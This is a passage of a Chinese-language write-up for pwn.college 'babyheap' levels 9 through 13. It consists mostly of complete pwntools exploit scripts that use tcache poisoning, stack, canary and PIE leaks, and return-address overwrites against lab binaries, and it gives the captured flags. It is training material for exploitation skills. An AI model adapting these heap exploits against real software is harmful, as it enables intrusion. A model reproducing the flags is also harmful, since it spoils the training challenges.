    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, secret)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret_p1 = elf.bss() + (0x16364 - 0x8)
    secret_p2 = elf.bss() + 0x16364

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 0)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 0)

    payload = flat(0, 0)
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{klIR9JBrG0FfOAzXz_dLAeG0C5g.01N4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 9.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to pass a validation check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-90&quot;&gt;Level 9.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level9.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, secret)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret_p1 = elf.bss() + (0x12821 - 0x8)
    secret_p2 = elf.bss() + 0x12821

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 0)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 0)

    payload = flat(0, 0)
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{YpgPY9CRd5Wk4FCJ7klY0D4fwXX.0FO4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 10.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to gain control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题嘛，保护全开，但是直接泄漏给我们栈地址和程序代码段地址了，发现后门函数 &lt;code&gt;win&lt;/code&gt;，那想法自然是令 malloc 返回栈地址，然后我们 scanf 向栈内输入数据溢出返回地址 balabala ～&lt;/p&gt;
&lt;p&gt;由于程序使用了 &lt;code&gt;malloc_usable_size&lt;/code&gt; 来确定输入大小，所以我们还得伪造一个 chunk size 来欺骗这个函数，才能得到足够的输入空间。此外，canary 也需要我们提前泄漏出来。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level10.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;allocations is at: &quot;)
    stack = int(target.recvline().strip()[:-1], 16)
    target.recvuntil(b&quot;main is at: &quot;)
    pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD

    fake_chunk = stack + 0x10
    canary = stack + 0x108
    win = pie_base + 0x1A00

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie_base: {hex(pie_base)}&quot;)
    target.success(f&quot;fake_chunk: {hex(fake_chunk)}&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(canary + 1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b&quot;\x00&quot;), &quot;little&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(stack))
    malloc(0, 0)
    malloc(0, 0)

    # fake chunk
    payload = flat(
        0,
        0x200, # chunk size
    )
    scanf(0, payload)

    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)
    # raw_input(&quot;DEBUG&quot;)
    scanf(2, p64(fake_chunk))
    malloc(2, 0)
    malloc(2, 0)

    payload = flat(
        b&quot;A&quot; * 0xF8,
        canary,
        0,  # rbp
        win,
    )
    # raw_input(&quot;DEBUG&quot;)
    scanf(2, payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{0qLPdKCSvtNobMR6JycB-1ThuJM.0VO4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 10.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to gain control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-100&quot;&gt;Level 10.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level10.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;allocations is at: &quot;)
    stack = int(target.recvline().strip()[:-1], 16)
    target.recvuntil(b&quot;main is at: &quot;)
    pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD

    fake_chunk = stack + 0x10
    canary = stack + 0x108
    win = pie_base + 0x1A00

    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;pie_base: {hex(pie_base)}&quot;)
    target.success(f&quot;fake_chunk: {hex(fake_chunk)}&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(canary + 1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    canary = int.from_bytes(target.recvline().strip().rjust(0x8, b&quot;\x00&quot;), &quot;little&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(stack))
    malloc(0, 0)
    malloc(0, 0)

    # fake chunk
    payload = flat(
        0,
        0x200,  # chunk size
    )
    scanf(0, payload)

    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)
    # raw_input(&quot;DEBUG&quot;)
    scanf(2, p64(fake_chunk))
    malloc(2, 0)
    malloc(2, 0)

    payload = flat(
        b&quot;A&quot; * 0xF8,
        canary,
        0,  # rbp
        win,
    )
    # raw_input(&quot;DEBUG&quot;)
    scanf(2, payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{IVJX2ecO9cCeTd-08IgNfDhvyxY.0FM5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 11.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to gain control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题类似的 goal，控制返回地址为 win 即可。但是这次没有告诉我们任何地址，需要手动泄漏栈地址和程序基地址。&lt;/p&gt;
&lt;p&gt;那还不简单，echo 可以泄漏 ptr 中的地址加上偏移处的值，如果我们知道了栈地址，那只要令 ptr 中保存栈地址我们就可以泄漏任意偏移处的值了。&lt;/p&gt;
&lt;p&gt;:::important
做这题的时候突然发现 &lt;code&gt;scanf(&quot;%0s&quot;, buf)&lt;/code&gt; 其实是可以接收输入的，&lt;code&gt;%0s&lt;/code&gt; 是未定义行为，会接收任意大小输入……我本来以为不行，还想在栈上伪造 chunk 来着，现在知道原来没必要。所以我们最后直接覆盖 scanf 的返回地址就好了，连 canary 都不需要泄漏……
:::&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level11.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b&quot;: &quot;, b&quot;echo&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Offset: &quot;, str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    free(0)

    # leak stack address
    # raw_input(&quot;DEBUG&quot;)
    echo(0, 0x8)
    target.recvuntil(b&quot;Data: &quot;)
    stack = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;), &quot;little&quot;) + 0x6
    )
    target.success(f&quot;stack: {hex(stack)}&quot;)

    malloc(0, 0x20)
    malloc(1, 0x20)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(stack))
    malloc(0, 0x20)
    malloc(0, 0x20)  # slot 0 store stack addr

    # leak canary (not necessary)
    # echo(0, 0x1)
    # target.recvuntil(b&quot;Data: &quot;)
    # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b&quot;\x00&quot;), &quot;little&quot;)
    # target.success(f&quot;canary: {hex(canary)}&quot;)

    # leak pie
    echo(0, 0x10)
    target.recvuntil(b&quot;Data: &quot;)
    pie = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;), &quot;little&quot;) - 0x214E
    )
    win = pie + 0x1B00
    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x10,
        win,
    )
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{UR1cj-fm89XIenUymGEuLXjbqDw.0VM5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 11.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to gain control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-110&quot;&gt;Level 11.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level11.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def echo(idx, offset):
    target.sendlineafter(b&quot;: &quot;, b&quot;echo&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Offset: &quot;, str(offset).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    free(0)

    # leak stack address
    # raw_input(&quot;DEBUG&quot;)
    echo(0, 0x8)
    target.recvuntil(b&quot;Data: &quot;)
    stack = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;), &quot;little&quot;) + 0x6
    )
    target.success(f&quot;stack: {hex(stack)}&quot;)

    malloc(0, 0x20)
    malloc(1, 0x20)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(stack))
    malloc(0, 0x20)
    malloc(0, 0x20)  # slot 0 store stack addr

    # leak canary (not necessary)
    # echo(0, 0x1)
    # target.recvuntil(b&quot;Data: &quot;)
    # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b&quot;\x00&quot;), &quot;little&quot;)
    # target.success(f&quot;canary: {hex(canary)}&quot;)

    # leak pie
    echo(0, 0x10)
    target.recvuntil(b&quot;Data: &quot;)
    pie = (
        int.from_bytes(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;), &quot;little&quot;) - 0x1A93
    )
    win = pie + 0x1500
    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;win: {hex(win)}&quot;)

    payload = flat(
        b&quot;A&quot; * 0x10,
        win,
    )
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{IHuI-DZpMG1vv3R_3f2K4lz3jgL.0lM5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 12.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to cause malloc() to return a stack pointer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;~&lt;em&gt;太简单，直接看我 exp 好了。&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level12.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def stack_malloc_win():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_malloc_win&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x30,
    )
    # raw_input(&quot;DEBUG&quot;)
    stack_scanf(payload)
    # raw_input(&quot;DEBUG&quot;)
    stack_free()

    free(0)
    # raw_input(&quot;DEBUG&quot;)
    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    stack = int.from_bytes(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;), &quot;little&quot;)
    target.success(f&quot;stack: {hex(stack)}&quot;)

    malloc(0, 0x6A)
    malloc(1, 0x6A)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(stack))
    malloc(0, 0x6A)
    stack_malloc_win()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{QmZQE_PykX5z-wedw-snh6CwwtV.01M5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 12.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to cause malloc() to return a stack pointer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-120&quot;&gt;Level 12.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level12.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def stack_malloc_win():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_malloc_win&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x30,
    )
    # raw_input(&quot;DEBUG&quot;)
    stack_scanf(payload)
    # raw_input(&quot;DEBUG&quot;)
    stack_free()

    free(0)
    # raw_input(&quot;DEBUG&quot;)
    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    stack = int.from_bytes(target.recvline().strip().ljust(0x8, b&quot;\x00&quot;), &quot;little&quot;)
    target.success(f&quot;stack: {hex(stack)}&quot;)

    malloc(0, 0x43)
    malloc(1, 0x43)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p64(stack))
    malloc(0, 0x43)
    stack_malloc_win()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:sopiler[&lt;code&gt;pwn.college{wIhhQLe35f_W9wFoYZAeO6TJPGe.0FN5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 13.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage calling free() on a stack pointer to read secret data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;~我们迎来了最简单的一集。~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level13.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode())


def stack_free():
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_free&quot;)


def stack_scanf(data):
    target.sendlineafter(b&quot;: &quot;, b&quot;stack_scanf&quot;)
    target.sendline(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()
    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x3F0)

    payload = flat(
        b&quot;A&quot; * (0xB0),
    )
    raw_input(&quot;DEBUG&quot;)
    scanf(0, payload)

    send_flag(&quot;A&quot; * 0x10)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{Yz7oh0MVsBoSFEkrl1pl76sH5l0.0VN5MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 13.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage calling free() on a stack pointer to read secret data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-130&quot;&gt;Level 13.0&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;有时候我真的觉得自己在增加碳排放，但是我不想删了全改了，先将就沿袭一下传统吧，下次一定修改风格，下次一定（&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
